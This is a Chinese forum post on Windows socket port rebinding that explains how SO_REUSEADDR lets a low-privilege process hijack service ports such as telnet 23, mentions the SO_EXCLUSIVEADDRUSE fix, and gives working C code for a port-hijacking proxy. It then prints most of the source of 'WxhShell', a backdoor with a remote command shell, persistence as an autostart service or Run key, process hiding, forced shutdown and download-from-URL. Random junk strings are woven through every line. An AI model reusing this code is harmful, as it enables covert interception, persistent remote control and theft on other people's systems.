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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v<]$,V]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h]^= y.Q  
hJoh5DIE95  
  saddr.sin_family = AF_INET; 4~0 @(3  
r 4+%9)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -lI6!a^  
J/A UOInh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a +`;:tX,  
F#l!LER^1g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N8`q.;qewz  
0F[+rh"x  
  这意味着什么?意味着可以进行如下的攻击: U0dhr;l  
)s8{|)-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pRh)DM#9  
e:iqv?2t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J<ZG&m362p  
/h K/t;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iaQ3mk#  
2NWQiSz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R-BN}ZS  
m)xz_Plc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !;&{Q^}  
5[rA>g~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  @@+BPLl  
)9V8&,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C,dRdEB>  
@t,Y< )U  
  #include ?~rz'Pu~  
  #include Ccy0!re  
  #include pm'i4!mY<P  
  #include    U$6(@&P!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >Te h ?P  
  int main() [kPF Jf  
  { 2[Bw+<YA`  
  WORD wVersionRequested; |&0Cuwt  
  DWORD ret; #9@UzfZAwT  
  WSADATA wsaData; -f%J_`  
  BOOL val; .Gnzu"lod  
  SOCKADDR_IN saddr; )ZDqj  
  SOCKADDR_IN scaddr; 1H7 bPl|  
  int err; JcI~8;Z@Z~  
  SOCKET s; Zl=IZ?F   
  SOCKET sc; 'FmnlC1  
  int caddsize; 6kHb*L Je  
  HANDLE mt; #s|/5[i  
  DWORD tid;   >I *uo.OF  
  wVersionRequested = MAKEWORD( 2, 2 ); 4[f>kY%[  
  err = WSAStartup( wVersionRequested, &wsaData ); 0D^c4[Y'l  
  if ( err != 0 ) { 2g_2$)2  
  printf("error!WSAStartup failed!\n"); C_V5.6T!  
  return -1; };nOG;  
  } vo]$[Cp|4  
  saddr.sin_family = AF_INET; G}gmkp]z  
   j<_)Y(x>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?wbf)fbq  
D=!5l4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WxF0LhM  
  saddr.sin_port = htons(23); bWfT-Jewh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 35fsr=  
  { Uk= L?t  
  printf("error!socket failed!\n"); 2/#%^,Kb2  
  return -1; g.eMGwonTJ  
  } qZDP-  
  val = TRUE; dp#'~[j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Lsz)\yIPj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J nf@u  
  { 8z'_dfP=5  
  printf("error!setsockopt failed!\n"); ttA0* >'  
  return -1; v[=TPfX0  
  } ^WmP,Xf#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #H/suQZN"g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w]Z:Y`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IRB BLXv7\  
?UV!^w@L:0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g)Dg=3+>  
  { Sv|jR r'  
  ret=GetLastError(); '7/c7m/$X<  
  printf("error!bind failed!\n"); W)m\q}]FYz  
  return -1; -4nSiI  
  } J:Ncy}AO  
  listen(s,2); s2iL5N|"Q  
  while(1) @}iY(-V  
  { B>,&{ah/5J  
  caddsize = sizeof(scaddr); ,lr\XhO  
  //接受连接请求 EZg$mp1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b0!ZA/YC-  
  if(sc!=INVALID_SOCKET) Jx4"~ 4  
  { %t J@)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !O*uQB  
  if(mt==NULL) xE%sPWbj  
  { Vrx3%_NkQ  
  printf("Thread Creat Failed!\n"); $WHmG!)*  
  break; B0eKj=y;  
  } qB44;!(  
  } 8:)itYE  
  CloseHandle(mt); eJ tfQ@?  
  } !w=6>B^  
  closesocket(s); y9)Rl)7-:  
  WSACleanup(); ':LV"c4 t  
  return 0; a  C<  
  }   =P\Tk)(`  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;ZowC#j  
  { Hlye:.$  
  SOCKET ss = (SOCKET)lpParam; KJ;NcUq  
  SOCKET sc; !Au9C   
  unsigned char buf[4096]; \rY<DxtOq  
  SOCKADDR_IN saddr; K"U[OZC`  
  long num; @Zov&01  
  DWORD val; -iJ @K  
  DWORD ret; ,CA3Q.y>|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]\Q9j7}37+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %+e% RZ3  
  saddr.sin_family = AF_INET; Or*e$uMIY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P{_Xg,Z  
  saddr.sin_port = htons(23); |>L|7>J{<d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QvjOOc@k~n  
  { y( uE  
  printf("error!socket failed!\n"); ej&ZE n  
  return -1; Ec;{N  
  } ZVX!=3VT  
  val = 100; 5zR9N>!c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i#W0  
  { &S|%>C{P.w  
  ret = GetLastError(); XDcA&cM}p  
  return -1; EAi!"NJ  
  } tWN hFQ'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $wx)/t<  
  { /WWD;keP5  
  ret = GetLastError(); :Mq-4U.e  
  return -1; q=(.N>%  
  } 5<?s86GHh'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |'" 17c&  
  { ;&v~tD7  
  printf("error!socket connect failed!\n"); ri?>@i-9=  
  closesocket(sc); uy^vQ/  
  closesocket(ss); "ZU CYYre  
  return -1; c[QXc9  
  } 8#&axg?a  
  while(1) #\X="' /  
  { Yl!~w:O!o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 + IpC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xesZ 7{ o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \vQjTM-7  
  num = recv(ss,buf,4096,0); v;m}<3@'  
  if(num>0) tjIT4  
  send(sc,buf,num,0); Yf=Puy}q  
  else if(num==0) 3Sb'){.MT+  
  break; , e6}p  
  num = recv(sc,buf,4096,0); //_aIp  
  if(num>0) Q7vTTn\  
  send(ss,buf,num,0); cXY;Tw45  
  else if(num==0) mqFo`Ee  
  break; c Oi:bC@  
  } ?6=u[))M&  
  closesocket(ss); rbw5.NU  
  closesocket(sc); v Ol<  
  return 0 ; ~p0M|  
  } bm:"&U*tu'  
jx7b$x]  
[^4)3cj7}  
========================================================== 9X-w5$<  
sWc_,[b  
下边附上一个代码,,WXhSHELL QFS5PZ  
d|RqS`h ]  
========================================================== [)E.T,fjMQ  
CMI V"-  
#include "stdafx.h" Sb;=YW 1<  
8r46Wr7Q  
#include <stdio.h> |)pRkn8x  
#include <string.h> GV"HkE;  
#include <windows.h> +4Uxq{.K  
#include <winsock2.h> l9"T"9C{  
#include <winsvc.h> 8UahoNrSt  
#include <urlmon.h> r%^l~PN  
Gec?  
#pragma comment (lib, "Ws2_32.lib") ^[]@dk9  
#pragma comment (lib, "urlmon.lib") ~dFdO7  
BlrZ<\-/  
#define MAX_USER   100 // 最大客户端连接数 [_pw|BGp  
#define BUF_SOCK   200 // sock buffer L~u@n24  
#define KEY_BUFF   255 // 输入 buffer L~PBD?l  
j~Cch%%G  
#define REBOOT     0   // 重启 <HC5YA)4  
#define SHUTDOWN   1   // 关机 w#!^wN  
zc n/LF  
#define DEF_PORT   5000 // 监听端口 1"4Pan  
-J<{NF  
#define REG_LEN     16   // 注册表键长度 ev}ugRxt|k  
#define SVC_LEN     80   // NT服务名长度 &eqeQD6  
*49lM;  
// 从dll定义API [$<\*d/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ..5rW0lr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (&)PlIi7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8w Xnc%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WX9ABh&5  
-xXz}2S4  
// wxhshell配置信息 :47bf<w|Y  
struct WSCFG { &# ?2zbZ  
  int ws_port;         // 监听端口 v, VCbmc  
  char ws_passstr[REG_LEN]; // 口令 \[57Dmo  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,R~{$QUl  
  char ws_regname[REG_LEN]; // 注册表键名 k)t_U3i  
  char ws_svcname[REG_LEN]; // 服务名 7l~d_<h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H`:2J8   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hv~& RZpe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dN%*-p(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fzc8)*w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8`{)1.d5[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'kC,pN{->  
oieJ7\h]m  
}; ; m]KKB  
hN5?u:  
// default Wxhshell configuration m 3 Y@p$i5  
struct WSCFG wscfg={DEF_PORT, fQkfU;5  
    "xuhuanlingzhe", L xg,BZV  
    1, '=Z]mi/aw  
    "Wxhshell", -*<4 hFb  
    "Wxhshell", .EF(<JC?  
            "WxhShell Service", [@&0@/s*t'  
    "Wrsky Windows CmdShell Service", ZgzjRa++  
    "Please Input Your Password: ", I+VL~'VlS  
  1, BIk0n;Kz<L  
  "http://www.wrsky.com/wxhshell.exe", xRI7_8Jpyn  
  "Wxhshell.exe" 8?za&v  
    }; RZgklEU  
6VsgZ"Il  
// 消息定义模块 3hi0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @F-InfB8.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vx<`6uv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XB.xIApmy  
char *msg_ws_ext="\n\rExit."; Nf!g1D"U  
char *msg_ws_end="\n\rQuit."; `+\6;nM  
char *msg_ws_boot="\n\rReboot..."; hn -!W;j  
char *msg_ws_poff="\n\rShutdown..."; /Z?$!u4I  
char *msg_ws_down="\n\rSave to "; Bo#,)%80  
zJ=lNb?q  
char *msg_ws_err="\n\rErr!"; NR6wNz&81  
char *msg_ws_ok="\n\rOK!"; +&*D7A>~p  
VbG#)>"F  
char ExeFile[MAX_PATH]; S <RbC  
int nUser = 0; n?[JPG2X  
HANDLE handles[MAX_USER]; tpY]Mz[J  
int OsIsNt; v><c@a=[  
:]rb}1nLB  
SERVICE_STATUS       serviceStatus; `k.Tfdu)K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  mdtG W  
%tvP\(]h  
// 函数声明 cS2PrsUx  
int Install(void); 4m:D8&D_M  
int Uninstall(void); ^7Hwpn7E  
int DownloadFile(char *sURL, SOCKET wsh); u{'|/g&  
int Boot(int flag); ].Sz2vI  
void HideProc(void); Z0'&@P$  
int GetOsVer(void); lA/.4"nN  
int Wxhshell(SOCKET wsl); 0aRHXc2<  
void TalkWithClient(void *cs); LJc"T)>$`  
int CmdShell(SOCKET sock); rsaN<6#_^Q  
int StartFromService(void); sy]hMGH:3W  
int StartWxhshell(LPSTR lpCmdLine); x_+-TC4IXn  
k',#T932x1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %4QpDt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;}dvc7  
s?5vJ:M Xr  
// 数据结构和表定义 [X%Wg:K  
SERVICE_TABLE_ENTRY DispatchTable[] = Z^[ ]s1iP}  
{ Im g$D*BM  
{wscfg.ws_svcname, NTServiceMain},  Nt w?~%  
{NULL, NULL} 0z =?}xr  
}; l"rX'g?  
:u9OD` D  
// 自我安装 ~z kzuh  
int Install(void) gJZH??b  
{ LsI8T uv  
  char svExeFile[MAX_PATH]; ;xl0J*r  
  HKEY key; chE}TK  
  strcpy(svExeFile,ExeFile); VrIR!9%:  
r6Qsh CA"  
// 如果是win9x系统,修改注册表设为自启动 Ht"?ajW{  
if(!OsIsNt) { \:m1{+l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KPrH1 [VU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _qO'(DKylC  
  RegCloseKey(key); Tpd|+60g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F+SqJSa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4~K%,K+Du  
  RegCloseKey(key); LG+2?+tE"  
  return 0; 0 L$[w  
    } kj>!&W57  
  } sW,JnR  
} h.*v0cq:  
else { :Dj0W8V  
S?[@/35)  
// 如果是NT以上系统,安装为系统服务 7C9_;81_Dt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /os,s[w  
if (schSCManager!=0) } 3}H}  
{ aJ"m`5]=%  
  SC_HANDLE schService = CreateService *N&~Uq^  
  ( % aqP{mOO  
  schSCManager, &"?S0S>r!  
  wscfg.ws_svcname, c[>xM3=e^q  
  wscfg.ws_svcdisp, H:F'5Zt  
  SERVICE_ALL_ACCESS, %6W%-`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {[)n<.n[g  
  SERVICE_AUTO_START, vB%os Qm  
  SERVICE_ERROR_NORMAL, +,1 Ea )  
  svExeFile, n'@*RvI:  
  NULL, >/4N:=.h  
  NULL, 4q"4N2  
  NULL, <Ej`zGhWz  
  NULL, 4D}hYk$eP0  
  NULL f#kT?!sP  
  ); !<3!ORFO  
  if (schService!=0) 0Lf4 ^9N  
  { RKPX*(i~  
  CloseServiceHandle(schService); 5HaI$>h6  
  CloseServiceHandle(schSCManager); S J2l6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7Fx0#cS"\  
  strcat(svExeFile,wscfg.ws_svcname); \^1S:z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ox*>HkV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ALQ-aXJ  
  RegCloseKey(key); z d6F}2*6  
  return 0; G*f\ /  
    } +Qf<*  
  } ,`bmue5  
  CloseServiceHandle(schSCManager); \(MI DCZ@-  
} ^ -4~pDv^  
} Q2!5  
A5T&i]  
return 1; '3 b'moy  
} 5eiKMKW[  
M@z_tR'3\  
// 自我卸载 .JOZ2QWm<  
int Uninstall(void) oOHY+'V  
{ 7`f%?xVn0  
  HKEY key; GC~nr-O  
_=cU2  
if(!OsIsNt) { jV[;e15+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8iTB  
  RegDeleteValue(key,wscfg.ws_regname); xnf J ruT  
  RegCloseKey(key); uBl&{$<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9a]{|M9  
  RegDeleteValue(key,wscfg.ws_regname); )$h!lAo  
  RegCloseKey(key); $J):yhFs e  
  return 0; )8!*,e=4  
  } W7. +  
} R@-x!*z  
} f^ja2.*%?  
else { a^8PB|G  
'55G:r39  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I~;w Q  
if (schSCManager!=0) { V) `6  
{ 2M*i'K;;)P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 58d[>0Xa[g  
  if (schService!=0) \wD L oR  
  { r1TdjnP,2^  
  if(DeleteService(schService)!=0) { H,c`=Ii3  
  CloseServiceHandle(schService); Gr4v&Mz:  
  CloseServiceHandle(schSCManager);  o*Xfgc  
  return 0; 9Z21|5  
  } JA*+F1s  
  CloseServiceHandle(schService); 0'HQ=pP  
  } ah%Ws#&  
  CloseServiceHandle(schSCManager); }i{qRx"4  
} O}w%$ mq  
} I tb_ H  
zE<Iv\Q  
return 1; dr(-k3ex  
} :}yT?LIyP  
Af\  
// 从指定url下载文件 Vm[F~2+HX  
int DownloadFile(char *sURL, SOCKET wsh) *NG\3%}%|@  
{ b50mMW tG  
  HRESULT hr; xKl1DIN[  
char seps[]= "/"; /z_]7]  
char *token; 'zbvg0T  
char *file; E#\Oe_eq~N  
char myURL[MAX_PATH]; u>]3?ty`  
char myFILE[MAX_PATH]; jo^c>ur  
n\M8>9c  
strcpy(myURL,sURL); Y!8FW|  
  token=strtok(myURL,seps); yIcTc  
  while(token!=NULL) B]H8^  
  { @({=~ W^  
    file=token; 7nPcm;Er  
  token=strtok(NULL,seps); FZ?:BX^  
  } :EAh%q  
4y#XX[2Wj  
GetCurrentDirectory(MAX_PATH,myFILE); -pIz-*  
strcat(myFILE, "\\"); }lDX3h  
strcat(myFILE, file); 7FJ4;HLQ  
  send(wsh,myFILE,strlen(myFILE),0); c -PZG|<C[  
send(wsh,"...",3,0); tRpY+s~Fq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k qL.ZR  
  if(hr==S_OK) 4g"%?xN  
return 0; x(cv}#}S8  
else i%JJ+9N  
return 1; Ix6\5}.c9  
cFt&Efj  
} hPUAm6 b;  
I/XSW#  
// 系统电源模块 p20JU zy  
int Boot(int flag) Scx!h.\5  
{ 1*yxSU@uY  
  HANDLE hToken; m$_b\^we  
  TOKEN_PRIVILEGES tkp; [{Jo(X  
5 ty2e`~K  
  if(OsIsNt) { /IG{j}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ROmmak(y8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -2; 6Pwmv  
    tkp.PrivilegeCount = 1; n."n?C'{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v\5O\ I ^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W} i6{ Vh  
if(flag==REBOOT) { F_(~b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s*[ I"iE  
  return 0; e`s1z|h  
} '9Z`y_~)G  
else { cZQ8[I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W~0rSVD$<z  
  return 0; 5h&sdzfG  
} D>[Sib/@  
  } "qNFDr(WM  
  else { Jz~:  
if(flag==REBOOT) { !9WGZfK+0Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gK QJ^a\!  
  return 0; (0 H=f6N  
} C@6:uiT$  
else { 7H5VzV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ewU*5|*[  
  return 0; ?W{+[OXs  
} *{vH9TO  
} X2@Ef2EkM  
3fhY+$tq  
return 1; fwv^dEe  
} +7}^Y}(  
aWIkp5BFj  
// win9x进程隐藏模块 >jsY'Bm  
void HideProc(void) 6qHD&bv\%C  
{ y\Aa;pL)RQ  
Tc/^h 4xH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u"=]cBRWL6  
  if ( hKernel != NULL ) -0d9,,c  
  { eO <N/?t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S(Afo`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |E7 J5ha  
    FreeLibrary(hKernel); qC> tni%  
  } ud  r\\5  
Yi%lWbr  
return; (|K+1R  
} <Z:FY|'s  
B=TUZ)  
// 获取操作系统版本 oI{.{]  
int GetOsVer(void) hK3-j;eg  
{ |y U!d %  
  OSVERSIONINFO winfo; B18BwY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P|<V0 Vs.  
  GetVersionEx(&winfo); Y2x|6{ #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gu*y7I8  
  return 1; 2L~Vr4eHG  
  else {6v.(Zlh$  
  return 0; TQT3]h6  
} bO\++zOF  
ICN>kJ\;M  
// 客户端句柄模块 q*UHzE:LI  
int Wxhshell(SOCKET wsl) bW6| &P}X  
{ ~i"=:D  
  SOCKET wsh; F<,pAxl~@  
  struct sockaddr_in client; *~)6 sm  
  DWORD myID; T;92M}\  
uaF-3  
  while(nUser<MAX_USER) oZiW4z*Wh  
{ k~8-E u1  
  int nSize=sizeof(client); ik(Du/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /P*XB%y  
  if(wsh==INVALID_SOCKET) return 1; t2o{=!$WH  
Ojc Tu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'z. GAR  
if(handles[nUser]==0) ^~H{I_Y  
  closesocket(wsh); @KTuG ?.  
else <R]m(  
  nUser++; {s mk<NL  
  } u2oS Ci  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zWC| Qe  
L;RE5YrH%6  
  return 0; lgaSIXDK  
} #"N60T@  
-wXeue},>  
// 关闭 socket Mp`$1Ksn  
void CloseIt(SOCKET wsh) {$z54nvw$  
{ 1%+-}yo<  
closesocket(wsh); qS vV |G  
nUser--; :hZM$4  
ExitThread(0); ]o<]A[<  
} r%.k,FzGZY  
0V1GX~2  
// 客户端请求句柄 TmG);B}  
void TalkWithClient(void *cs) 7 ~~ug  
{ _"1RidhH  
[<#j K}g  
  SOCKET wsh=(SOCKET)cs; Op%OQ14$  
  char pwd[SVC_LEN]; xJCx zJ  
  char cmd[KEY_BUFF]; :*}Q/]N  
char chr[1]; =x8[%+  
int i,j; 61S;M8tNv  
Y"mFUW4  
  while (nUser < MAX_USER) { #%"G[B  
Zk=,`sBC  
if(wscfg.ws_passstr) { iwK.*07+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <gF]9%2E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k_7m[o  
  //ZeroMemory(pwd,KEY_BUFF); ;7P '>j1?U  
      i=0; bTum|GWf  
  while(i<SVC_LEN) { #dZs[R7h  
1C<cwd;9  
  // 设置超时 CeYhn\m5K0  
  fd_set FdRead; 4-yK!LR  
  struct timeval TimeOut; CVfV    
  FD_ZERO(&FdRead); e34>q:#5l  
  FD_SET(wsh,&FdRead); :0r,.)  
  TimeOut.tv_sec=8; e=0]8l>\V  
  TimeOut.tv_usec=0; %y RGN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XRV]u|w=g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3ay},3MCV%  
aJ+V]WmA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {XOl &  
  pwd=chr[0]; i1B!oZ3q  
  if(chr[0]==0xd || chr[0]==0xa) { t1?aw<  
  pwd=0; = QBvU)Ki  
  break; !/}3/iU  
  } pa!BJ]~  
  i++; %+~\I\)1  
    } z5jw\jBD  
TPN+jK  
  // 如果是非法用户,关闭 socket jKq*@o~}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [|Qzx w9  
} zS%XmS\  
T?7u [D[[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *BsK6iVb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ixa0;nxj  
q^aDZzx,z  
while(1) { YbZbA >|  
0fOhCxtL@  
  ZeroMemory(cmd,KEY_BUFF); $r!CQ 2S  
~7 i{~<?  
      // 自动支持客户端 telnet标准   JIySe:p3  
  j=0; ^ }7O|Y7  
  while(j<KEY_BUFF) { A8m06  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1$&@wG  
  cmd[j]=chr[0]; a:cci?cb  
  if(chr[0]==0xa || chr[0]==0xd) { X!]v4ma`  
  cmd[j]=0; 9nG^_.}|  
  break; 2o SM|  
  } HA,o2jZ?In  
  j++; ~XOmxz0  
    } v #+ECx  
tAv3+  
  // 下载文件 4mvR]: G  
  if(strstr(cmd,"http://")) { E.K^v/dNdq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); joe)b  
  if(DownloadFile(cmd,wsh)) d/; tq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1_Z&VJ  
  else }-oba_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \|,| )  
  } yx]9rD1cz  
  else { P{o)Ir8Tt  
^QS`H@+Z  
    switch(cmd[0]) { l)NkTZ<]  
  ;iKLf~a a  
  // 帮助 Tdi^P}i_  
  case '?': { .!o]oM U/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PeJ#9hI~rQ  
    break; RcYUO*  
  } R;OPY?EeW  
  // 安装 =.3#l@E!C  
  case 'i': { VVeJe"!t  
    if(Install()) AT&K>NG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JWb +  
    else =|?`5!A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); od)TQSo  
    break; $?56 i4  
    } `>sOOA  
  // 卸载 IhNX~Jg'^  
  case 'r': { aj5HtP-  
    if(Uninstall()) roQI;gq^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LzU'6ah';5  
    else 1$0Kvvg[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #tV1?q  
    break; CP7Fe{P  
    } nCq'=L,m  
  // 显示 wxhshell 所在路径 P*&[9 )d6  
  case 'p': { jSp&\Wjb  
    char svExeFile[MAX_PATH]; 6m_mma_,&  
    strcpy(svExeFile,"\n\r"); 2_wue49-l  
      strcat(svExeFile,ExeFile); Eg)24C R 4  
        send(wsh,svExeFile,strlen(svExeFile),0); Ph=NH8  
    break; vqeH<$WHvy  
    } "L~Oj&AN[  
  // 重启 JK! (\Ae.  
  case 'b': { NVM_.vL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3'uXU<W!  
    if(Boot(REBOOT)) FsED9+/m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TanWCt4r  
    else { .b";7}9{  
    closesocket(wsh); xrg"/?84  
    ExitThread(0); "B3jq^  
    } AY52j  
    break; IS]A<}j/-  
